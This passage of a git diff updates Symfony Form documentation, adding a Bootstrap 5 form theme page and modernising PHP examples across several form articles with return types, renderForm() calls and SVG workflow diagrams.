+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/twig
+                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
+
+            <twig:config>
+                <twig:form-theme>bootstrap_5_layout.html.twig</twig:form-theme>
+                <!-- ... -->
+            </twig:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/twig.php
+        use Symfony\Config\TwigConfig;
+
+        return static function(TwigConfig $twig) {
+            $twig->formThemes(['bootstrap_5_layout.html.twig']);
+
+            // ...
+        };
+
+If you prefer to apply the Bootstrap styles on a form to form basis, include the
+``form_theme`` tag in the templates where those forms are used:
+
+.. code-block:: html+twig
+
+    {# ... #}
+    {# this tag only applies to the forms defined in this template #}
+    {% form_theme form 'bootstrap_5_layout.html.twig' %}
+
+    {% block body %}
+        <h1>User Sign Up:</h1>
+        {{ form(form) }}
+    {% endblock %}
+
+.. note::
+
+    By default, all inputs are rendered with the ``mb-3`` class on their
+    container. If you override the ``row_attr`` class option, the ``mb-3`` will
+    be overridden too and you will need to explicitly add it.
+
+Error Messages
+--------------
+
+Unlike in the :doc:`Bootstrap 4 theme </form/bootstrap4>`, errors are rendered
+**after** the ``input`` element. However, this still makes a strong connection
+between the error and its ``<input>``, as required by the `WCAG 2.0 standard`_.
+
+Checkboxes and Radios
+---------------------
+
+For a checkbox/radio field, calling ``form_label()`` doesn't render anything.
+Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
+
+Inline Checkboxes and Radios
+----------------------------
+
+If you want to render your checkbox or radio fields `inline`_, you can add
+the ``checkbox-inline`` or ``radio-inline`` class (depending on your Symfony
+Form type or ``ChoiceType`` configuration) to the label class.
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder
+            ->add('myCheckbox', CheckboxType::class, [
+                'label_attr' => [
+                    'class' => 'checkbox-inline',
+                ],
+            ])
+            ->add('myRadio', RadioType::class, [
+                'label_attr' => [
+                    'class' => 'radio-inline',
+                ],
+            ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.myCheckbox, {
+            label_attr: {
+                class: 'checkbox-inline'
+            }
+        }) }}
+
+        {{ form_row(form.myRadio, {
+            label_attr: {
+                class: 'radio-inline'
+            }
+        }) }}
+
+Switches
+________
+
+Bootstrap 5 allows to render checkboxes as `switches`_. You can enable this
+feature on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch``
+class to the label:
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder->add('myCheckbox', CheckboxType::class, [
+            'label_attr' => [
+                'class' => 'checkbox-switch',
+            ],
+        ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.myCheckbox, {
+            label_attr: {
+                class: 'checkbox-switch'
+            }
+        }) }}
+
+.. tip::
+
+    You can also render your switches inline by simply adding the
+    ``checkbox-inline`` class on the ``label_attr`` option::
+
+        // ...
+        'label_attr' => [
+            'class' => 'checkbox-inline checkbox-switch',
+        ],
+        // ...
+
+.. caution::
+
+    Switches only work with **checkbox**.
+
+Input group
+___________
+
+To create `input group`_ in your Symfony Form, simply add the ``input-group``
+class to the ``row_attr`` option.
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder->add('email', EmailType::class, [
+            'label' => '@',
+            'row_attr' => [
+                'class' => 'input-group',
+            ],
+        ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.email, {
+            label: '@',
+            row_attr: {
+                class: 'input-group'
+            }
+        }) }}
+
+.. caution::
+
+    If you fill the ``help`` option of your form, it will also be rendered
+    as part of the group.
+
+Floating labels
+---------------
+
+To render an input field with a `floating label`_, you must add a ``label``,
+a ``placeholder`` and the ``form-floating`` class to the ``row_attr`` option
+of your form type.
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder->add('name', TextType::class, [
+            'label' => 'Name',
+            'attr' => [
+                'placeholder' => 'Name',
+            ],
+            'row_attr' => [
+                'class' => 'form-floating',
+            ],
+        ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.name, {
+            label: 'Name',
+            attr: {
+                placeholder: 'Name'
+            },
+            row_attr: {
+                class: 'form-floating'
+            }
+        }) }}
+
+.. caution::
+
+    You **must** provide a ``label`` and a ``placeholder`` to make floating
+    labels work properly.
+
+Accessibility
+-------------
+
+The Bootstrap 5 framework has done a good job making it accessible for
+functional variations like impaired vision and cognitive ability. Symfony has
+taken this one step further to make sure the form theme complies with the
+`WCAG 2.0 standard`_.
+
+This does not mean that your entire website automatically complies with the full
+standard, but it does mean that you have come far in your work to create a
+design for **all** users.
+
+.. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/
+.. _`inline`: https://getbootstrap.com/docs/5.0/forms/checks-radios/#inline
+.. _`switches`: https://getbootstrap.com/docs/5.0/forms/checks-radios/#switches
+.. _`input group`: https://getbootstrap.com/docs/5.0/forms/input-group/
+.. _`floating label`: https://getbootstrap.com/docs/5.0/forms/floating-labels/
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 0c5afaa6829..c95a0c80880 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -38,7 +38,7 @@ By convention they are stored in the ``src/Form/Type/`` directory::
 
     class ShippingType extends AbstractType
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'choices' => [
@@ -49,19 +49,16 @@ By convention they are stored in the ``src/Form/Type/`` directory::
             ]);
         }
 
-        public function getParent()
+        public function getParent(): string
         {
             return ChoiceType::class;
         }
     }
 
-The ``configureOptions()`` method, which is explained later in this article,
-defines the options that can be configured for the form type and sets the
-default value of those options.
-
-The ``getParent()`` method defines which is the form type used as the base of
-this type. In this case, the type extends from ``ChoiceType`` to reuse all of
-the logic and rendering of that field type.
+The methods of the ``FormTypeInterface`` are explained in detail later in
+this article. Here, ``getParent()`` method defines the base type
+(``ChoiceType``) and ``configureOptions()`` overrides some of its options.
+The resulting form type is a choice field with predefined choices.
 
 .. note::
 
@@ -82,7 +79,7 @@ Now you can add this form type when :doc:`creating Symfony forms </forms>`::
 
     class OrderType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -144,13 +141,27 @@ These are the most important methods that a form type class can define:
 
 ``configureOptions()``
     It defines the options configurable when using the form type, which are also
-    the options that can be used in ``buildForm()`` and ``buildView()`` methods.
+    the options that can be used in ``buildForm()`` and ``buildView()``
+    methods. Options are inherited from parent types and parent type
+    extensions, but you can create any custom option you need.
 
 ``finishView()``
     When creating a form type that consists of many fields, this method allows
     to modify the "view" of any of those fields. For any other use case, it's
     recommended to use instead the ``buildView()`` method.
 
+``getParent()``
+    If your custom type is based on another type (i.e. they share some
+    functionality) add this method to return the fully-qualified class name
+    of that original type. Do not use PHP inheritance for this.
+    Symfony will call all the form type methods (``buildForm()``,
+    ``buildView()``, etc.) of the parent type and it will call all its type
+    extensions before calling the ones defined in your custom type.
+
+    By default, the ``AbstractType`` class returns the generic
+    :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`
+    type, which is the root parent for all form types in the Form component.
+
 Defining the Form Type
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -168,7 +179,7 @@ in the postal address. For the moment, all fields are of type ``TextType``::
     {
         // ...
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('addressLine1', TextType::class, [
@@ -209,7 +220,7 @@ correctly rendered in any template::
 
     class OrderType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -254,7 +265,7 @@ to define, validate and process their values::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // this defines the available options and their default values when
             // they are not configured explicitly when using the form type
@@ -293,7 +304,7 @@ Now you can configure these options when using the form type::
 
     class OrderType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -320,7 +331,7 @@ The last step is to use these options when building the form::
     {
         // ...
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             // ...
 
@@ -394,12 +405,14 @@ rest of files):
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'form/custom_types.html.twig',
                 '...',
-            ],
-        ]);
+            ]);
+        };
 
 The last step is to create the actual Twig template that will render the type.
 The template contents depend on which HTML, CSS and JavaScript frameworks and
@@ -467,7 +480,7 @@ defined by the form or be completely independent::
 
         // ...
 
-        public function buildView(FormView $view, FormInterface $form, array $options)
+        public function buildView(FormView $view, FormInterface $form, array $options): void
         {
             // pass the form type option directly to the template
             $view->vars['isExtendedAddress'] = $options['is_extended_address'];
diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 59b1c06e9fe..9bb0abc2d8e 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -35,11 +35,11 @@ First, create the form type extension class extending from
     class ImageTypeExtension extends AbstractTypeExtension
     {
         /**
-         * Return the class of the type being extended.
+         * Returns an array of extended types.
          */
         public static function getExtendedTypes(): iterable
         {
-            // return FormType::class to modify (nearly) every field in the system
+            // return [FormType::class] to modify (nearly) every field in the system
             return [FileType::class];
         }
     }
@@ -114,7 +114,7 @@ the database::
 
         // ...
 
-        public function getWebPath()
+        public function getWebPath(): string
         {
             // ... $webPath being the full image URL, to be used in templates
 
@@ -145,17 +145,17 @@ For example::
     {
         public static function getExtendedTypes(): iterable
         {
-            // return FormType::class to modify (nearly) every field in the system
+            // return [FormType::class] to modify (nearly) every field in the system
             return [FileType::class];
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // makes it legal for FileType fields to have an image_property option
             $resolver->setDefined(['image_property']);
         }
 
-        public function buildView(FormView $view, FormInterface $form, array $options)
+        public function buildView(FormView $view, FormInterface $form, array $options): void
         {
             if (isset($options['image_property'])) {
                 // this will be whatever class/entity is bound to your form (e.g. Media)
@@ -191,14 +191,10 @@ Specifically, you need to override the ``file_widget`` block:
     {% extends 'form_div_layout.html.twig' %}
 
     {% block file_widget %}
-        {% spaceless %}
-
         {{ block('form_widget') }}
         {% if image_url is not null %}
             <img src="{{ asset(image_url) }}"/>
         {% endif %}
-
-        {% endspaceless %}
     {% endblock %}
 
 Be sure to :ref:`configure this form theme template <forms-theming-global>` so that
@@ -221,7 +217,7 @@ next to the file field. For example::
 
     class MediaType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('name', TextType::class)
diff --git a/form/data_based_validation.rst b/form/data_based_validation.rst
index 383883ba91f..226284db439 100644
--- a/form/data_based_validation.rst
+++ b/form/data_based_validation.rst
@@ -12,7 +12,7 @@ to an array callback::
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     // ...
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => [
@@ -32,7 +32,7 @@ example).  You can also define whole logic inline by using a ``Closure``::
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     // ...
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => function (FormInterface $form) {
@@ -56,7 +56,7 @@ of the entity as well you have to adjust the option as follows::
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     // ...
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => function (FormInterface $form) {
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index fff8f565b9f..24ff0716f5f 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -98,7 +98,7 @@ in your form type::
         /**
          * @param Color|null $viewData
          */
-        public function mapDataToForms($viewData, iterable $forms)
+        public function mapDataToForms($viewData, \Traversable $forms): void
         {
             // there is no data yet, so nothing to prepopulate
             if (null === $viewData) {
@@ -119,7 +119,7 @@ in your form type::
             $forms['blue']->setData($viewData->getBlue());
         }
 
-        public function mapFormsToData(iterable $forms, &$viewData)
+        public function mapFormsToData(\Traversable $forms, &$viewData): void
         {
             /** @var FormInterface[] $forms */
             $forms = iterator_to_array($forms);
@@ -158,7 +158,7 @@ method::
 
     final class ColorType extends AbstractType implements DataMapperInterface
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('red', IntegerType::class, [
@@ -177,7 +177,7 @@ method::
             ;
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // when creating a new color, the initial data should be null
             $resolver->setDefault('empty_data', null);
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 91ed89a3fce..4204b77cf23 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -40,12 +40,12 @@ Suppose you have a Task form with a tags ``text`` type::
     // ...
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('tags', TextType::class);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -72,7 +72,7 @@ class::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('tags', TextType::class);
 
@@ -136,7 +136,7 @@ Start by setting up the text field like normal::
     // ...
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('description', TextareaType::class)
@@ -144,7 +144,7 @@ Start by setting up the text field like normal::
             ;
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -188,9 +188,8 @@ to and from the issue number and the ``Issue`` object::
          * Transforms an object (issue) to a string (number).
          *
          * @param  Issue|null $issue
-         * @return string
          */
-        public function transform($issue)
+        public function transform($issue): string
         {
             if (null === $issue) {
                 return '';
@@ -203,14 +202,13 @@ to and from the issue number and the ``Issue`` object::
          * Transforms a string (number) to an object (issue).
          *
          * @param  string $issueNumber
-         * @return Issue|null
          * @throws TransformationFailedException if object (issue) is not found.
          */
-        public function reverseTransform($issueNumber)
+        public function reverseTransform($issueNumber): ?Issue
         {
             // no issue number? It's optional, so that's ok
             if (!$issueNumber) {
-                return;
+                return null;
             }
 
             $issue = $this->entityManager
@@ -273,7 +271,7 @@ and type-hint the new class::
             $this->transformer = $transformer;
         }
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('description', TextareaType::class)
@@ -306,7 +304,7 @@ end-user error message in the data transformer using the
     {
         // ...
 
-        public function reverseTransform($issueNumber)
+        public function reverseTransform($issueNumber): ?Issue
         {
             // ...
 
@@ -390,19 +388,19 @@ First, create the custom field type class::
             $this->transformer = $transformer;
         }
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->addModelTransformer($this->transformer);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'invalid_message' => 'The selected issue does not exist',
             ]);
         }
 
-        public function getParent()
+        public function getParent(): string
         {
             return TextType::class;
         }
@@ -423,7 +421,7 @@ As long as you're using :ref:`autowire <services-autowire>` and
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('description', TextareaType::class)
@@ -480,6 +478,20 @@ Which transformer you need depends on your situation.
 
 To use the view transformer, call ``addViewTransformer()``.
 
+.. caution::
+
+    Be careful with model transformers and
+    :doc:`Collection </reference/forms/types/collection>` field types.
+    Collection's children are created early at ``PRE_SET_DATA`` by its
+    ``ResizeFormListener`` and their data is populated later from the normalized
+    data. So your model transformer cannot reduce the number of items within the
+    Collection (i.e. filtering out some items), as in that case the collection
+    ends up with some empty children.
+    
+    A possible workaround for that limitation could be not using the underlying
+    object directly, but a DTO (Data Transfer Object) instead, that implements
+    the transformation of such incompatible data structures.
+
 So why Use the Model Transformer?
 ---------------------------------
 
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index ef6897611ad..a7c623dad19 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -11,9 +11,10 @@ to detect when the form has been submitted. However, you can also use the
 control over when exactly your form is submitted and what data is passed to it::
 
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function new(Request $request)
+    public function new(Request $request): Response
     {
         $task = new Task();
         $form = $this->createForm(TaskType::class, $task);
@@ -28,11 +29,29 @@ control over when exactly your form is submitted and what data is passed to it::
             }
         }
 
-        return $this->render('task/new.html.twig', [
-            'form' => $form->createView(),
+        return $this->renderForm('task/new.html.twig', [
+            'form' => $form,
         ]);
     }
 
+The list of fields submitted with the ``submit()`` method must be the same as
+the fields defined by the form class. Otherwise, you'll see a form validation error::
+
+    public function new(Request $request): Response
+    {
+        // ...
+
+        if ($request->isMethod('POST')) {
+            // '$json' represents payload data sent by React/Angular/Vue
+            // the merge of parameters is needed to submit all form fields
+            $form->submit(array_merge($json, $request->request->all()));
+
+            // ...
+        }
+
+        // ...
+    }
+
 .. tip::
 
     Forms consisting of nested fields expect an array in
diff --git a/form/disabling_validation.rst b/form/disabling_validation.rst
index f23cc73dbbf..2844d0c865d 100644
--- a/form/disabling_validation.rst
+++ b/form/disabling_validation.rst
@@ -9,7 +9,7 @@ these cases you can set the ``validation_groups`` option to ``false``::
 
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => false,
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 69339480248..01694ad9653 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -7,18 +7,18 @@ How to Dynamically Modify Forms Using Form Events
 Often times, a form can't be created statically. In this article, you'll learn
 how to customize your form based on three common use-cases:
 
-1) :ref:`form-events-underlying-data`
+1) :ref:`Customizing your Form Based on the Underlying Data <form-events-underlying-data>`
 
    Example: you have a "Product" form and need to modify/add/remove a field
    based on the data on the underlying Product being edited.
 
-2) :ref:`form-events-user-data`
+2) :ref:`How to dynamically Generate Forms Based on user Data <form-events-user-data>`
 
    Example: you create a "Friend Message" form and need to build a drop-down
    that contains only users that are friends with the *current* authenticated
    user.
 
-3) :ref:`form-events-submitted-data`
+3) :ref:`Dynamic Generation for Submitted Forms <form-events-submitted-data>`
 
    Example: on a registration form, you have a "country" field and a "state"
    field which should populate dynamically based on the value in the "country"
@@ -45,13 +45,13 @@ a bare form class looks like::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('name');
             $builder->add('price');
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Product::class,
@@ -92,7 +92,7 @@ creating that particular field is delegated to an event listener::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('price');
 
@@ -109,7 +109,7 @@ object is new (e.g. hasn't been persisted to the database). Based on that,
 the event listener might look like the following::
 
     // ...
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
         $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) {
@@ -151,14 +151,14 @@ you can also move the logic for creating the ``name`` field to an
 
     class AddNameFieldSubscriber implements EventSubscriberInterface
     {
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             // Tells the dispatcher that you want to listen on the form.pre_set_data
             // event and that the preSetData method should be called.
             return [FormEvents::PRE_SET_DATA => 'preSetData'];
         }
 
-        public function preSetData(FormEvent $event)
+        public function preSetData(FormEvent $event): void
         {
             $product = $event->getData();
             $form = $event->getForm();
@@ -179,7 +179,7 @@ Great! Now use that in your form class::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('price');
 
@@ -217,7 +217,7 @@ Using an event listener, your form might look like this::
 
     class FriendMessageFormType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('subject', TextType::class)
@@ -274,7 +274,7 @@ security helper to fill in the listener logic::
             $this->security = $security;
         }
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('subject', TextType::class)
@@ -337,10 +337,12 @@ and :doc:`tag it </service_container/tags>` with the ``form.type`` tag.
 In a controller, create the form like normal::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class FriendMessageController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             $form = $this->createForm(FriendMessageFormType::class);
 
@@ -351,7 +353,7 @@ In a controller, create the form like normal::
 You can also  embed the form type into another form::
 
     // inside some other "form type" class
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         $builder->add('message', FriendMessageFormType::class);
     }
@@ -375,6 +377,8 @@ sport like this::
     // src/Form/Type/SportMeetupType.php
     namespace App\Form\Type;
 
+    use App\Entity\Position;
+    use App\Entity\Sport;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\Form\FormBuilderInterface;
@@ -384,11 +388,11 @@ sport like this::
 
     class SportMeetupType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('sport', EntityType::class, [
-                    'class'       => 'App\Entity\Sport',
+                    'class' => Sport::class,
                     'placeholder' => '',
                 ])
             ;
@@ -405,7 +409,7 @@ sport like this::
                     $positions = null === $sport ? [] : $sport->getAvailablePositions();
 
                     $form->add('position', EntityType::class, [
-                        'class' => 'App\Entity\Position',
+                        'class' => Position::class,
                         'placeholder' => '',
                         'choices' => $positions,
                     ]);
@@ -441,6 +445,7 @@ The type would now look like::
     // src/Form/Type/SportMeetupType.php
     namespace App\Form\Type;
 
+    use App\Entity\Position;
     use App\Entity\Sport;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
     use Symfony\Component\Form\FormInterface;
@@ -448,11 +453,11 @@ The type would now look like::
 
     class SportMeetupType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('sport', EntityType::class, [
-                    'class'       => 'App\Entity\Sport',
+                    'class' => Sport::class,
                     'placeholder' => '',
                 ])
             ;
@@ -461,7 +466,7 @@ The type would now look like::
                 $positions = null === $sport ? [] : $sport->getAvailablePositions();
 
                 $form->add('position', EntityType::class, [
-                    'class' => 'App\Entity\Position',
+                    'class' => Position::class,
                     'placeholder' => '',
                     'choices' => $positions,
                 ]);
@@ -515,11 +520,12 @@ your application. Assume that you have a sport meetup creation controller::
     use App\Form\Type\SportMeetupType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
     class MeetupController extends AbstractController
     {
-        public function create(Request $request)
+        public function create(Request $request): Response
         {
             $meetup = new SportMeetup();
             $form = $this->createForm(SportMeetupType::class, $meetup);
@@ -528,10 +534,9 @@ your application. Assume that you have a sport meetup creation controller::
                 // ... save the meetup, redirect etc.
             }
 
-            return $this->render(
-                'meetup/create.html.twig',
-                ['form' => $form->createView()]
-            );
+            return $this->renderForm('meetup/create.html.twig', [
+                'form' => $form,
+            ]);
         }
 
         // ...
@@ -563,11 +568,11 @@ field according to the current selection in the ``sport`` field:
         url : $form.attr('action'),
         type: $form.attr('method'),
         data : data,
-        success: function(html) {
+        complete: function(html) {
           // Replace current position field ...
           $('#meetup_position').replaceWith(
             // ... with the returned one from the AJAX response.
-            $(html).find('#meetup_position')
+            $(html.responseText).find('#meetup_position')
           );
           // Position field now displays the appropriate positions.
         }
diff --git a/form/embedded.rst b/form/embedded.rst
index 9da8104b143..787580a41d1 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -46,12 +46,12 @@ Next, add a new ``category`` property to the ``Task`` class::
 
         // ...
 
-        public function getCategory()
+        public function getCategory(): ?Category
         {
             return $this->category;
         }
 
-        public function setCategory(Category $category = null)
+        public function setCategory(?Category $category)
         {
             $this->category = $category;
         }
@@ -76,12 +76,12 @@ create a form class so that a ``Category`` object can be modified by the user::
 
     class CategoryType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('name');
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Category::class,
@@ -97,7 +97,7 @@ class::
     use App\Form\CategoryType;
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
diff --git a/form/events.rst b/form/events.rst
index 5620ec96f46..a99698aa247 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -32,17 +32,16 @@ register an event listener to the ``FormEvents::PRE_SUBMIT`` event as follows::
 The Form Workflow
 -----------------
 
-The Form Submission Workflow
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. raw:: html
 
-.. image:: /_images/components/form/general_flow.png
-    :align: center
+    <object data="../_images/form/form_workflow.svg" type="image/svg+xml"></object>
 
 1) Pre-populating the Form (``FormEvents::PRE_SET_DATA`` and ``FormEvents::POST_SET_DATA``)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. image:: /_images/components/form/set_data_flow.png
-    :align: center
+.. raw:: html
+
+    <object data="../_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"></object>
 
 Two events are dispatched during pre-population of a form, when
 :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
@@ -118,8 +117,9 @@ View data        Normalized data transformed using a view transformer
 2) Submitting a Form (``FormEvents::PRE_SUBMIT``, ``FormEvents::SUBMIT`` and ``FormEvents::POST_SUBMIT``)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. image:: /_images/components/form/submission_flow.png
-    :align: center
+.. raw:: html
+
+    <object data="../_images/form/form_submission_workflow.svg" type="image/svg+xml"></object>
 
 Three events are dispatched when
 :method:`Form::handleRequest() <Symfony\\Component\\Form\\Form::handleRequest>`
@@ -308,7 +308,7 @@ callback for better readability::
     // ...
     class SubscriptionType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('username', TextType::class)
@@ -320,7 +320,7 @@ callback for better readability::
             ;
         }
 
-        public function onPreSetData(FormEvent $event)
+        public function onPreSetData(FormEvent $event): void
         {
             // ...
         }
@@ -347,7 +347,7 @@ Consider the following example of a form event subscriber::
 
     class AddEmailFieldListener implements EventSubscriberInterface
     {
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 FormEvents::PRE_SET_DATA => 'onPreSetData',
@@ -355,7 +355,7 @@ Consider the following example of a form event subscriber::
             ];
         }
 
-        public function onPreSetData(FormEvent $event)
+        public function onPreSetData(FormEvent $event): void
         {
             $user = $event->getData();
             $form = $event->getForm();
@@ -367,7 +367,7 @@ Consider the following example of a form event subscriber::
             }
         }
 
-        public function onPreSubmit(FormEvent $event)
+        public function onPreSubmit(FormEvent $event): void
         {
             $user = $event->getData();
             $form = $event->getForm();
diff --git a/form/form_collections.rst b/form/form_collections.rst
index 1d0b56c244a..c58bf996235 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
